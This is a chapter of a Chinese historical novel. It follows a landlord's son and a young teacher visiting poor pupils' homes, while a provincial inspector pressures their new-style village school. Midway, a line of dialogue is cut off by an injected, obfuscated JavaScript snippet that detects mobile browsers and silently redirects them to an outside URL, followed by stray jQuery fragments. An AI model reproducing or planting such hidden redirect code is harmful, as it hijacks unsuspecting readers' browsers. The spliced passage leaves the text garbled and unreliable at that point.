又是一日，青石板路泛着水光，倒映着晨起人家的炊烟。张静轩踩着湿润的石板往学堂走，怀里揣着母亲硬塞的两个煮鸡蛋，还温着。路过祠堂后墙时，他特意放慢脚步——昨夜洗刷的痕迹还在，石灰墙上一片斑驳，像愈合中的伤口，但那些字确实看不见了。
学堂的门已经开了。张静轩走进去，看见苏宛音正蹲在黑板前，用抹布仔细擦拭板面。她今日换了件浅蓝上衣，袖口挽到肘部，露出纤细的手腕。
“苏先生早。”张静轩站在门口。
苏宛音回头，眼底有淡淡的青影，但笑容依然温和：“静轩同学早。吃过了吗？”
“吃过了。”张静轩走进来，将书包放在自己的座位上，“您……昨夜没睡好？”
“睡得晚了些。”苏宛音站起身，将抹布叠好放在窗台上，“在备今天的课。”她走到讲台边，拿起一本册子，“静轩，有件事想请你帮忙。”
那是一本花名册，密密麻麻写满了字。“这是所有报名学生的家庭情况，”苏宛音翻开册子，“但我发现，有些信息不全。比如水生的生日，只写了‘约十岁’，还有小莲的父亲做什么工，也只写了‘在外’。”
张静轩接过册子，翻看着。青石镇不大，但这些孩子背后的家庭，他却所知甚少。
“我想做个家访。”苏宛音说，“但一个人跑不过来，程先生要备教案。你是本地人，又熟悉这些孩子，能不能……陪我一起去？”
张静轩愣了一下。家访？这倒是新鲜事。京都先生从不会去学生家里，父亲请的那些师傅，也只在张府授课。
“好。”他点头，“什么时候去？”
“今天放学后。”苏宛音眼睛亮起来，“先从最远的几家开始。”
上课钟敲响时，学生们陆续到了。水生今天换了一件稍干净的褂子，但膝盖上的补丁还是新的，针脚粗大。他看见张静轩，咧嘴一笑，露出一口白牙。
“水生，”张静轩低声问，“你十岁生日是哪天？”
水生挠挠头：“俺娘说，是收麦子的时候。具体哪天……她记不清了。”他顿了顿，“少爷问这个干啥？”
“没什么。”张静轩翻开课本，心里却沉了沉。一个连生日都记不清的孩子，在家里的分量能有多重？
上午的课很顺利。程秋实教国文，讲《少年中华民国说》，声音激昂：“少年智则国智，少年富则国富，少年强则国强……”孩子们跟着念，虽然不懂深意，但朗朗上口的句子让他们兴奋。
课间休息时，张静轩走到祠堂院子里。雨后的空气带着泥土的腥甜，老槐树的叶子滴着水珠。他看见墙角蹲着个人——是小莲，那个八岁的女孩，瘦瘦小小的，总坐在最后一排。
小莲正用树枝在地上划着什么。张静轩走近，看见她画的是几个歪歪扭扭的字：爹，娘，我。
“小莲，”他蹲下身，“想爹娘了？”
小莲吓了一跳，树枝掉在地上。她抬头看张静轩，眼睛很大，但眼神怯怯的：“张……张少爷。”
“叫我静轩哥就行。”张静轩捡起树枝，在地上写下“小莲”两个字，“这是你的名字。会写吗？”
小莲摇摇头，但又点点头：“苏先生昨天教了，我……我记不住。”
“慢慢来。”张静轩将树枝递还给她，“你爹娘呢？”
“爹去省城做工了。”小莲的声音细如蚊蚋，“娘……娘生病，在床上。”她顿了顿，“苏先生说，学会写字，就能给爹写信了。”
张静轩心里一酸。他想起自己小时候，大哥握着他的手，一笔一划教他写“张”字的情景。那时他觉得理所当然的事，对这些孩子来说，却是奢望。
“下午放学后，”他说，“我和苏先生去你家看看，好吗？”
小莲的眼睛亮了一下，又暗下去：“我家……很破。”
“没关系。”
上课钟又响了。张静轩站起身，看见苏宛音站在廊下，正望着这边。她对他点点头，眼神里有赞许，也有忧虑。
下午的算学课后，学生们一哄而散。张静轩收拾好书包，等苏宛音整理完教案，两人一同走出祠堂。
夕阳西斜，将青石镇的影子拉得很长。苏宛音手里拿着花名册和一个小布包，里面是她准备的见面礼——几块饴糖，几包草药。
“先去小莲家，”她说，“在镇子最西头，青云河边。”
两人穿过纵横交错的巷子。越往西走，房屋越破败，路面也由青石板变成土路，雨后泥泞不堪。苏宛音拎着裙角，小心地避开水洼，但鞋面还是沾满了泥点。
小莲家是一间低矮的土坯房，屋顶的茅草已经发黑，墙面上裂着蛛网般的细缝。门虚掩着，里面传来压抑的咳嗽声。
“有人在吗？”苏宛音轻声问。
门开了条缝，小莲探出头，看见是他们，忙把门拉开：“苏先生，静轩哥……请进。”
屋里很暗，只有一扇小窗透进些许天光。土炕上躺着个妇人，盖着打满补丁的被子，正艰难地撑起身子。
“娘，这是学堂的苏先生，还有张少爷。”小莲忙去扶她。
妇人想下炕行礼，被苏宛音按住：“您别动，躺着就好。”她在炕沿坐下，打开布包，“听说您身子不好，带了些草药，是治咳嗽的。”
妇人的眼睛在昏暗里闪着泪光：“这怎么使得……小莲去上学，已经麻烦先生了…”
“不麻烦。”苏宛音的声音很轻柔，“小莲很聪明，学得很快。今天还学会了写自己的名字。”
妇人颤抖着手，想去摸女儿的头，又缩回来：“我这病……拖累她了。她爹在省城码头扛活，三个月没捎钱回来了。要不是学堂不收钱，还管一顿午饭，我……”她说不下去，别过脸去。
张静轩站在门口，看着这间昏暗的屋子。墙角堆着几件破旧的农具，灶台冷清，水缸见底。这就是青石镇的另一面——那些在祠堂前欢天喜地送孩子上学的家长背后，是这样沉重的生计。
苏宛音从怀里掏出一个小布包，塞到妇人手里：“这些您先拿着，抓药，买米。小莲的学业不能耽误。”
妇人想推辞，被苏宛音按住手：“就当是借的。等小莲长大了，能挣钱了，再还我。”
离开小莲家时，天已经擦黑。苏宛音沉默地走着，裙摆拖过泥地，留下深深的印痕。
“苏先生，”张静轩终于开口，“您……常这样帮学生吗？”
苏宛音没有立刻回答。走出一段路，她才说：“我父亲在世时，常接济他的学生。他说，读书人若只顾自己清高，不问民间疾苦，读再多书也是白读。”她顿了顿，“可惜，他明白得太晚。”
“您父亲他……”
“戊戌年那会儿，他是热血书生，天天写文章，谈变法。”苏宛音的声音在暮色里飘忽，“后来变法失败，他心灰意冷，回乡教书。但教着教着，他发现，光是教几个富家子弟，救不了国。他开始收穷学生，免他们的束脩，结果……”
她停住脚步，转头看着张静轩：“结果被当地士绅排挤，说他坏了规矩。最后郁郁而终。”
张静轩屏住呼吸。他忽然明白，为什么苏宛音会对办学堂如此执着——这不只是工作，是继承，是赎罪，也是抗争。
两人走到岔路口，该分开了。苏宛音将花名册交给张静轩：“明天我们继续。静轩，谢谢你陪我。”
“应该的。”张静轩接过册子，“苏先生，您不怕吗？像您父亲那样……”
“怕。”苏宛音坦然道，“但有些事，怕也得做。”她微微一笑，“回去吧，天黑了。”
张静轩看着她转身离去的背影，那浅蓝的身影在渐浓的夜色里，像一簇微弱的火苗。
回到家，晚饭已经备好。张静轩刚坐下，福伯匆匆进来，脸色凝重：“老爷，镇公所来人了，说有事相商。”
张老太爷放下筷子：“这么晚？”
“说是急事。”
张老太爷起身，对张静轩说：“你先吃，我去去就回。”
张静轩目送父亲出门，心里莫名不安。他匆匆扒了几口饭，借口温书回了房间，却坐立难安。约莫过了半个时辰，他听见前院传来脚步声——父亲回来了，但不止一人。
他悄悄走到书房窗外，听见里面有说话声。除了父亲，还有陈老秀才，以及一个陌生的、略带沙哑的男声。
“……省里的意思很明确，办学可以，但不能教‘危险思想’。”那陌生声音说，“尤其是什么‘自由平等’，还有对时局的议论，一概不许。”
张老太爷的声音平静：“王督学，学堂教的是共和国课本，上面印的就是‘自由平等博爱’。这算危险思想吗？”
“张公，您别跟我打马虎眼。”被称作王督学的人语气强硬，“课本是课本，怎么教是另一回事。我听说，你们那位程先生，在课堂上大谈什么‘少年中华民国’，煽动性很强啊。”
“那是梁启超先生的文章，教育部审定的教材里有收录。”
“我不管谁的文章！”王督学提高了声音，“总之，从今往后，每节课的教案要提前报备，课堂教学要接受不定期巡查。还有，那个女先生——叫什么苏宛音的，她父亲是维新党人，背景有问题，要重点审查。”
窗外，张静轩的心跳骤然加快。
陈老秀才的声音插进来，打着圆场：“王督学息怒。程先生和苏先生都是卢明远举荐的，卢家在省城也是有名望的……”
“卢家？”王督学冷笑，手指轻点桌面：“张公，卢贤侄，莫以为有省城一点人脉就可高枕无忧。这教育的事，牵一发而动全身，可不只是教育厅说了算。有些人，不愿意看见乡下太‘亮堂’。我这是给你们提个醒——好自为之。”
脚步声响起，那人似乎要走了。张静轩忙退到阴影里，看见一个穿灰色中山装、戴金丝眼镜的中年男人走出来，陈老秀才跟在后面，一路陪着小心。
送走那人，张老太爷回到书房，久久没有动静。张静轩犹豫再三，还是推门进去。
书房里只点了一盏台灯，父亲坐在书案后，双手撑着额头，身影在灯光下显得疲惫苍老。
“爹。”
张老太爷抬起头，看见儿子，勉强笑了笑：“还没睡？”
“刚才那是……”
“省教育厅的督学，王秉章。”张老太爷揉了揉眉心，“来者不善啊。”
“他要对学堂不利？”
“不止是学堂。”张老太爷站起身，走到窗前，“静轩，你知道咱们青石镇属于哪个县吗？”
“青云县。”
“青云县的县长，姓王。”张老太爷转过身，灯光在他脸上投下深深的阴影，“王秉章是他的堂弟。”
张静轩倒吸一口凉气：“那学堂的事……”
“成了某些人角力的棋子。”张老太爷的声音里透着疲惫，“县长一派想借办学捞政绩，又怕办得太新，惹麻烦。王秉章今天来，既是警告，也是试探——看咱们懂不懂‘规矩’。”
“什么规矩？”
“装聋作哑的规矩。”张老太爷走回书案后，从抽屉里取出一封信，“这是卢明远父亲托人捎来的。卢家在省城听到风声，说青石镇的学堂被某些人盯上了，让咱们小心。”
张静轩接过信，匆匆浏览。信中提到，近来省城保守势力抬头，对新式教育多有攻讦，青石镇作为试点，已成焦点。
“那怎么办？”张静轩放下信，“难道……要妥协？”
张老太爷没有回答，只是看着儿子，目光复杂：“静轩，如果你大哥在，他会怎么做？”
张静轩愣住了。他想起大哥毅然从军——那个热血而执拗的大哥，绝不会妥协。
“大哥会坚持。”他听见自己的声音，“但……也会更小心。”
张老太爷点点头，眼里有欣慰：“你长大了。”他重新坐下，“学堂继续办，但要调整策略。程先生那边，我去谈。苏先生……”他顿了顿，“她的背景确实敏感，但撤换她，会寒了人心。这事得从长计议。”
窗外传来打更声，二更天了。张静轩告退出来，回到自己房间，却毫无睡意。他拿出那把榆木弓，指尖摩挲着弓身上的刻字。
守静笃，观复明。
守静，是在风暴中站稳。观复，是在混沌中看清。
他忽然想起苏宛音说的“怕也得做”，想起小莲母亲眼中的泪光，想起王督学那倨傲的语气。这些碎片在脑海里碰撞，渐渐拼出一幅图——一幅关于抗争与妥协、理想与现实、新与旧斗争的图。
而这幅图里，青石镇这所小小的学堂，成了最醒目的注脚。
第二天上学时，张静轩格外留意周围。祠堂外多了几个陌生面孔，或蹲或站，目光时不时瞟向学堂方向。其中一人他认得——是镇公所的杂役，平日里游手好闲，今日却来“巡查”了。
课堂里，程秋实明显收敛了许多。讲国文时，刻意避开了《少年中华民国说》，改讲朱自清的《背影》。苏宛音倒是如常，教算学时依然耐心细致，但张静轩注意到，她不时会看向窗外，眼神里有警惕。
午休时，张静轩找到卢明远。他正在祠堂后院抽烟，眉头紧锁。
“卢大哥，王督学的事……”
“你知道了？”卢明远掐灭烟头，“我爹来信了，说省城那边压力很大。有人举报青石镇学堂‘传播危险思想’，教育厅不得不派人来查。”
“是镇上的人举报的？”
“八成是。”卢明远冷笑，“有些人啊，自己不求上进，也见不得别人好。”
两人沉默了片刻。秋风卷起地上的落叶，打着旋儿。
“苏先生那边……”张静轩试探着问。
卢明远的神色柔和了些：“宛音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140647|196314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她……不容易。她父亲的事，一直是她的心结。这次办学，她是真心想做出点事情，改变一些孩子的命运。”他顿了顿，“我不会让她受委屈的。”
这话里的情意，张静轩听得分明。他忽然问：“卢大哥，你和苏先生……在省城就认识？”
卢明远点点头：“师范学堂的同窗。她那时候就是学霸，门门功课第一，但总是独来独往。”他笑了笑，“我第一次注意到她，是在一次辩论会上。题目是‘女子教育之必要性’，她一个人对阵三个男生，引经据典，条理清晰，把对方驳得哑口无言。”
他的目光飘向远方，像在回忆那个场景：“那时候我就想，这个女子，不一般。”
张静轩看着卢明远眼中的光彩，忽然明白了什么。那是欣赏，是倾慕，也是志同道合的共鸣。
下午放学后，张静轩照例和苏宛音去做家访。今天去的是水生家，在码头附近。
水生的父亲是个黑瘦的汉子，叫周大栓，说话时总搓着手，掌心厚厚的茧子泛着光。他家比小莲家宽敞些，但同样简陋。墙上挂着一张泛黄的渔船图，边角已经卷起。
“水生能上学，多亏了张老爷，多亏了先生。”周大栓憨厚地笑着，“俺们家几代睁眼瞎，到水生这儿，总算能识几个字了。”
苏宛音将带来的饴糖递给水生的妹妹——一个五六岁的小丫头，怯生生地躲在门后。“水生很聪明，”她说，“算学尤其好。好好培养，将来会有出息的。”
周大栓眼眶红了：“出息不敢想，只要能不像我这样卖苦力就行。”他顿了顿，“苏先生，听说……学堂遇到麻烦了？”
苏宛音和张静轩对视一眼。消息传得真快。
“您听谁说的？”苏宛音问。
“码头上都在传。”周大栓压低声音，“说省里来了大官，要查学堂。还有人散闲话，说学堂教的东西，会让孩子不认爹娘，不服管教。”他搓着手，“俺不信这些。水生上学这些天，回家知道帮妹妹洗脸，知道把饭留给娘吃，这怎么是学坏了？”
苏宛音轻轻舒了口气：“谢谢您信我们。”
“该谢的是你们。”周大栓挺直了腰板，“苏先生，张少爷，学堂要是有难处，用得着我们这些粗人，尽管开口。别的不会，力气有一把。”
离开周家时，天色已晚。码头上灯火点点，那是夜泊的渔船。苏宛音站在河堤上，望着波光粼粼的青云河，久久不语。
“苏先生，”张静轩轻声问，“您在想什么？”
“我在想，”苏宛音的声音随风飘散，“中华民国这么大，像青石镇这样的地方千千万万。如果每一个镇子都能有一所这样的学堂，十年，二十年，会是什么光景？”
她的眼里有憧憬，也有忧虑：“可是现在，连这一所都这么难。”
河风吹起她的短发，露出光洁的额头。张静轩忽然觉得，这个看似柔弱的女子，心里装着比他想象中更广阔的世界。
“会好的。”他说，不知是在安慰苏宛音，还是在说服自己。
苏宛音转头看他，笑了：“你倒是乐观。”
“不是我乐观。”张静轩望着河对岸的点点灯火，“是不得不信。如果连信都不信了，还怎么往前走？”
这话让苏宛音怔了怔。她深深看了张静轩一眼，点头：“你说得对。”
两人往回走时，经过祠堂。夜色里，祠堂的轮廓黑沉沉的，只有西厢还亮着灯——程秋实还在备课。
张静轩正要和苏宛音道别，忽然瞥见祠堂墙角有个黑影一闪。他心头一紧，下意识将苏宛音拉到身后。
“怎么了？”苏宛音警觉地问。
张静轩没说话，只是盯着那片阴影。月光照不到那里，黑得伸手不见五指。但他确信，刚才有东西动了。
“谁在那儿？”他提高声音。
没有回应。只有风吹过瓦楞的呜呜声。
苏宛音握紧了布包，里面是她备课时用的裁纸刀。张静轩从地上捡起半块砖头，慢慢向墙角走去。
一步，两步。月光将他的影子拉得很长，投在斑驳的墙上。
墙角堆着些废弃的木料和碎瓦。张静轩用砖头拨了拨，忽然，一只野猫“喵”的一声窜出来，飞快地消失在夜色里。
他松了口气，回头对苏宛音说：“是猫。”
苏宛音也松了口气，但脸色依然苍白：“我们走吧。”
两人匆匆离开祠堂。张静轩送苏宛音到住处，看着她关上门，这才转身回家。
但走出几步，他又停下，回头望向祠堂的方向。
真的只是野猫吗？
他想起墙角那堆杂物——摆放的位置，似乎和昨天不一样了。有人动过。
回到张家，张静轩没有立刻回房，而是绕到后院。他想起那天捡到的刀片，想起老哑头夜半翻墙。这些事，像散落的珠子，在黑暗里隐隐发光。
他在后院站了很久，直到福伯提着灯笼找来：“小少爷，这么晚了，还不睡？”
“福伯，”张静轩转身，“咱们家后院的墙，容易翻进来吗？”
福伯愣了一下：“小少爷怎么问这个？咱们家墙是高，但……真要翻，也不是难事。”
“最近晚上，您听见什么动静吗？”
老管家皱起眉，仔细想了想：“倒是有一回——前天夜里，我起夜，听见墙根有窸窸窣窣的声音。以为是野猫，就没在意。”他顿了顿，“小少爷是担心什么？”
张静轩摇摇头：“没什么。可能是我想多了。”
回到房间，他点亮油灯，从抽屉里取出那片暗红色的陶片和断裂的刀片，并排放在桌上。又拿出花名册，翻到最后一页，那里有他今天偷偷记下的东西：
- 王督学，省教育厅，县长堂弟。
- 祠堂外陌生面孔增多。
- 码头传言：学堂教坏孩子。
- 墙角杂物被移动。
他用笔将这些线索连起来，形成一个模糊的网络。网络的中心，是青石镇新式学堂。而网络的边缘，延伸向未知的黑暗。
窗外传来打更声，三更天了。
张静轩吹熄灯，躺在黑暗里。今天经历的一切在脑海里回放：小莲家的贫困，周大栓的朴实，王督学的倨傲，苏宛音的忧虑，墙角那个一闪而过的黑影……
他忽然想起大哥。如果大哥在，会怎么做？会像父亲一样周旋妥协，还是像苏宛音一样执着前行？
没有答案。只有夜色如墨，沉沉地压下来。
但他知道，明天太阳照常升起，学堂的钟声照常敲响。而他要做的，就是去上学，去听讲，去完成苏宛音托付的家访。
然后，在风雨来临之前，让自己长得更结实些。
他握紧了拳，在黑暗里睁着眼睛。掌心那片陶片的棱角，硌在肉里，像一枚沉默的印章，盖在这个不平静的秋夜。